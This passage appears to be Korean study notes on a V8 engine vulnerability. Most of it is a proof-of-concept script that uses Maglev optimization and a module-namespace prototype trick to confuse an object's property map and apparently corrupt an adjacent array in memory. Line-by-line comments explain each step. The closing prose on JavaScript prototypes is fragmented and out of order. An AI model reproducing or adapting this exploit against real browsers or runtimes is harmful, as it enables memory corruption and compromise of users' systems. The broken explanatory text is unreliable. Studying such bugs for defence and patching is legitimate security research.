행하게 되면
// run with: `/d8 --allow-natives-syntax --maglev --expose-gc --soft-abort --trace-deopt 22.mjs`
import * as ns from "./22.mjs";
export let c = 0;
function to_fast(o) {
var dummy = {'unique':5};
dummy.__proto__ = o; // 프로토타입 설정
dummy.__proto__ = o; // OptimizeAsFastPrototype
} // V8 엔진의 특성을 이용해 최적화
to_fast(ns);
function store(target, v) {
target.c = v; // target에 c 속성 추가 거기에 v를 할당
} // 거기에 v를 할당 만약 부모클래스에 c가 존재하면 그 값을 바꿈
function createObject() {
let a = {}; // a라는 빈 객체 생성
a.i1 = 1; // a 객체에 i1 이라는 속성를 생성하고 값을 1로 설정
a.i2 = 1;
a.i3 = 1;
a.i4 = 1;
// -----------------
for (let i = 0; i < 8; i++) {
a[`p${i}`] = 1; //p{i} 객체 생성 및 1 설정
}
return a; // 생성한 객체들을 반환
}
function init() {
let a = createObject(); // a 객체 생성
a.__proto__ = ns; // a의 부모 프로토타입(부모 객체)을 ns로 설정
// %DebugPrint(a); // 디버깅 a
return a;
}
(function() {
%PrepareFunctionForOptimization(store); // 최적화 준비
store(init(), 0);
%OptimizeMaglevOnNextCall(store); // 최적화 시작
store(init(), 0);
})();
function confuse_properties_map(arg) {
store(arg, 0x1);
}
let a = init();
let arr = []; //arr 배열 생성
arr.push(1.1); // arr에 1.1 삽입 만약 console.log(arr); 시 [1.1] 이 출력됨
let arr2 = [{}]; // arr2 배열 생성 및 0번 째 인덱스에 객체를 요소로 넣음
confuse_properties_map(a);
gc(); // garbage collect
// %DebugPrint(a);
// %DebugPrint(arr);
a.p5 = 1024;
a.p7 = 1024;
%DebugPrint(arr);
// %SystemBreak();
자바스크립트는 기존에 객체를 복사하여 새로운 객체를 생성하는 프로토타입 기반의 언어이다.
자바스크립트의 모든 객체는 부모 역할을 하는 객체와 연결되어 있다. 이 부모 객체를 프로토타입 객체 또는 프로토타입이라고 한다.
Prototype 객체
)를 가리킨다.__proto__
프로퍼티에 저장된다.Prototype 프로퍼티는 함수의 입장에서 자신과 링크된 자식에게 물려줄 프로토타입 객체를 가리키고, proto 프로퍼티는 객체의 입장에서 자신의 부모 객체인 프로토타입 객체를 내부의 숨겨진 링크로 가지고 있는 것이다.